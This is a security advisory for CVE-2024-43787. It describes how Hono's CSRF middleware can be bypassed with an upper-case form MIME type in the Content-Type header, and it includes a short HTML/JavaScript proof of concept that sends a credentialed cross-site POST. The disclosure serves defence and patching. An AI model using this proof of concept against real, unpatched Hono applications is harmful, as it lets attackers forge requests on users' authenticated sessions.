Hono CSRF middleware can be bypassed using crafted Content-Type header

GHSA-rpfr-3m35-5vx5 · CVE-2024-43787

Published Aug 22, 2024 · Modified Mar 23, 2026

Description

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

<html>
  <head>
    <title>CSRF Test</title>
    <script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    <button id="btn">Click me!</button>
  </body>
</html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

References

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